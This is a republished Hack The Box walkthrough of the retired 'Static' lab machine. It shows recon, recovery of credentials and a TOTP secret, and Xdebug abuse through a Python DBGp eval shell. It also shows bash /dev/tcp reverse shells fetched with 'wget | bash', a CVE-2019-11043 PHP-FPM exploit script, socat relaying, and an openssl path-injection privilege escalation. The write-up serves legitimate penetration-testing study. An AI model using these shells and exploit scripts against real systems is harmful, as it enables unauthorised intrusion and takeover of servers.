Static: Hack The Box Walkthrough
source link: https://hackso.me/static-htb-walkthrough/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
Static: Hack The Box Walkthrough
Bernie Lim
A security enthusiast. Likes cats.
This post documents the complete walkthrough of Static, a retired vulnerable VM created by ompamo, and hosted at Hack The Box. If you are uncomfortable with spoilers, please stop reading now.
On this post
Background
Static is a retired vulnerable VM from Hack The Box.
Information Gathering
Let’s start with a masscan
probe to establish the open ports in the host.
masscan -e tun0 -p1-65535,U:1-65535 10.10.10.246 --rate=500
Starting masscan 1.3.2 (http://bit.ly/14GZzcT) at 2021-06-21 02:52:18 GMT
Initiating SYN Stealth Scan
Scanning 1 hosts [131070 ports/host]
Discovered open port 8080/tcp on 10.10.10.246
Discovered open port 22/tcp on 10.10.10.246
Discovered open port 2222/tcp on 10.10.10.246
Let’s do one better with nmap
scanning the discovered ports to establish their services.
nmap -n -v -Pn -p22,2222,8080 -A --reason 10.10.10.246 -oN nmap.txt
...
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 16:bb:a0:a1:20:b7:82:4d:d2:9f:35:52:f4:2e:6c:90 (RSA)
| 256 ca:ad:63:8f:30:ee:66:b1:37:9d:c5:eb:4d:44:d9:2b (ECDSA)
|_ 256 2d:43:bc:4e:b3:33:c9:82:4e:de:b6:5e:10:ca:a7:c5 (ED25519)
2222/tcp open ssh syn-ack ttl 62 OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 a9:a4:5c:e3:a9:05:54:b1:1c:ae:1b:b7:61:ac:76:d6 (RSA)
| 256 c9:58:53:93:b3:90:9e:a0:08:aa:48:be:5e:c4:0a:94 (ECDSA)
|_ 256 c7:07:2b:07:43:4f:ab:c8:da:57:7f:ea:b5:50:21:bd (ED25519)
8080/tcp open http syn-ack ttl 63 Apache httpd 2.4.38 ((Debian))
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
| http-robots.txt: 2 disallowed entries
|_/vpn/ /.ftp_uploads/
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
Interesting—we have two SSH services!
robots.txt
Let’s see what we have in robots.txt
.
User-agent: *
Disallow: /vpn/
Disallow: /.ftp_uploads/
The directory /.ftp_uploads/
sure looks interesting.
Let’s see what warning.txt
has to say.
Binary files are being corrupted during transfer!!! Check if are recoverable.
The warning seems to suggest the file db.sql.gz
is damaged. This is a pretty common issue when transfering a binary file in ASCII mode. From the hexdump of db.sql.gz
, we can see four pairs of \r\n
or CRLF which happens during a transfer of a binary file in ASCII mode from Unix to Windows.
Note that the OS byte (highlighted in red above) in the GZIP file format is 03
which represents the Unix file system when the compression took place. As such, the EOF convention for ASCII mode should be \n
or LF and not \r\n
or CRLF.
This is a simple fix with the dos2unix
command.
VPN Portal Login
My, my, my, what have we here?
From db.sql
, we managed to get the credential (admin:admin
)—d033e22ae348aeb5660fc2140aec35850c4da997
is the SHA1 hash of admin
—but we are faced with a OTP hurdle.
If I had to guess, I would say that orxxi4c7orxwwzlo
is the TOTP secret to generate the one-time PIN or OTP. Well, that can be easily fixed with this Authenticator Firefox add-on.
And there you have it.
Clicking the Generate button generates an OpenVPN profile, which you can use to connect to vpn.static.htb
. This is what my /etc/hosts
looks like based on the latest information above.
10.10.10.246 vpn.static.htb
172.17.0.10 pub
172.20.0.10 web
172.20.0.11 db
172.30.0.1 vpn
192.168.254.3 pki
I’ve generated user.ovpn
and here’s a snippet of its contents.
client
dev tun9
proto udp
remote vpn.static.htb 1194
resolv-retry infinite
nobind
user nobody
group nogroup
persist-key
persist-tun
remote-cert-tls server
cipher AES-256-CBC
#auth SHA256
key-direction 1
verb 3
Once I’m connected to the VPN, a new tun9
interface is created.
New routes are created as well.
Let’s go ahead and add a static route to 172.16.0.0/12
via tun9
to save us some trouble.
ip route add 172.16.0.0/12 dev tun9
Xdebug and DBGp
Once the static route is added, we can navigate to http://web/
. This is what it looks like.
Check out what I found in info.php
.
With this configuration of Xdebug, I can trick it to connect to my fake server listening at 9000/tcp
, thereby executing arbitrary code. Here’s how we do it.
First we set up a netcat
listener at 9000/tcp
. Then we start the Xdebug session with curl
like so.
curl http://web/vpn/index.php?XDEBUG_SESSION_START=phpstorm -H "X-Forwarded-For: 172.30.0.10"
And bingo!
Armed with this insight, let’s write a rather simplistic shell in Python inspired by this repo.
from base64 import b64decode
from lxml import etree
import socket
ip_port = ('0.0.0.0', 9000)
sk = socket.socket()
sk.bind(ip_port)
sk.listen(10)
conn, addr = sk.accept()
while True:
client_data = conn.recv(1024*1024)
if "response" in client_data:
response = etree.fromstring(client_data[client_data.index('<'):])
print(b64decode(response[0].text))
data = raw_input ('>> ')
conn.sendall('eval -i 1 -- %s\x00' % data.encode('base64'))
Let’s give it a shot.
Sweet.
Foothold
With this simple shell, we can work towards giving ourselves a proper reverse shell. First, I’m going to host this file with Python’s http.server
module.
#!/bin/bash
bash -i >& /dev/tcp/172.30.0.10/1234 0>&1
Next I’ll set up a netcat
listener at 1234/tcp
. Finally, I’ll use wget
in the simple shell to download this file and pipe it to bash
like so.
system("wget -q -O - 172.30.0.10/rev.sh | bash &")
The file user.txt
is in /home
.
I also managed to save the SSH private key from www-data
’s account to save us the hassle of going through these steps again.
Privilege
During enumeration of www-data
’s account, I notice web
container is multi-homed.
The pki
container (192.168.254.3
) must be next. So, my route to the pki
container looks like this
me <------------> web <------------> pki
(172.30.0.10) (172.20.0.10) (192.168.254.2)
(192.168.254.2)
SSH Dynamic Port-Forwarding and Proxychains
Since we have SSH access to web
, it’s extremely useful to create a dynamic port-forwarding so as to connect to pki
through web
. This is essentially a SOCKS proxy through web
which we can use proxychains
to connect to any service in pki
.
ssh -i www-data www-data@web -D9999
This is what my proxychains
configuration looks like.
[ProxyList]
socks4 127.0.0.1 9999
CVE-2019-11043 - PHP-FPM Remote Code Execution
Long story short. The site at http://pki
is susceptible to CVE-2019-11043. How do I know that?
You need to overflow PHP-FPM before the following script I wrote can work.
#!/bin/bash
URL="http://pki/index.php?a="
CMD="$1"
CMD="$(sed -r 's/^.//' <<<$CMD)"
#CMD="$(sed -r 's/ /+/g' <<<$CMD)"
CMD="$(urlencode $CMD)"
while :; do
RESPONSE="$(proxychains curl -s "${URL}${CMD}" 2>/dev/null)"
if [ $(wc -c <<<"$RESPONSE") -gt 53 ]; then
echo "$RESPONSE"
break
fi
done \
| sed -r "/^'/,/: cannot/!d" \
| sed -r -e "s/^' - //" -e '$d'
Set up socat
in web
to forward traffic to me like so.
socat tcp-listen:1234,fork tcp:172.30.0.10:1234 &
And then run the following payload.
./exploit.sh "$(which bash) -c 'bash -i >& /dev/tcp/192.168.254.2/1234 0>&1'"
And boom, reverse shell from pki
!
Vulnerability Analysis of ersatool
We’ve finally come to the main event—/usr/bin/ersatool
. During monitoring of pki
’s container processes with pspy64
, I notice something interesting—/usr/bin/ersatool
is no more than a wrapper for /opt/easyrsa/easyrsa
.
Looks like we have a path injection of openssl
!
Exploiting ersatool
Let’s build our own copy of openssl
like so.
Time to run the exploit.
And a root
shell appears!
The rest is history…
p.s. I’ll leave it as an exercise how to transfer tools, e.g. nc
, pspy64
, socat
, over to the containers.
Recommend
About Joyk
Aggregate valuable and interesting links.
Joyk means Joy of geeK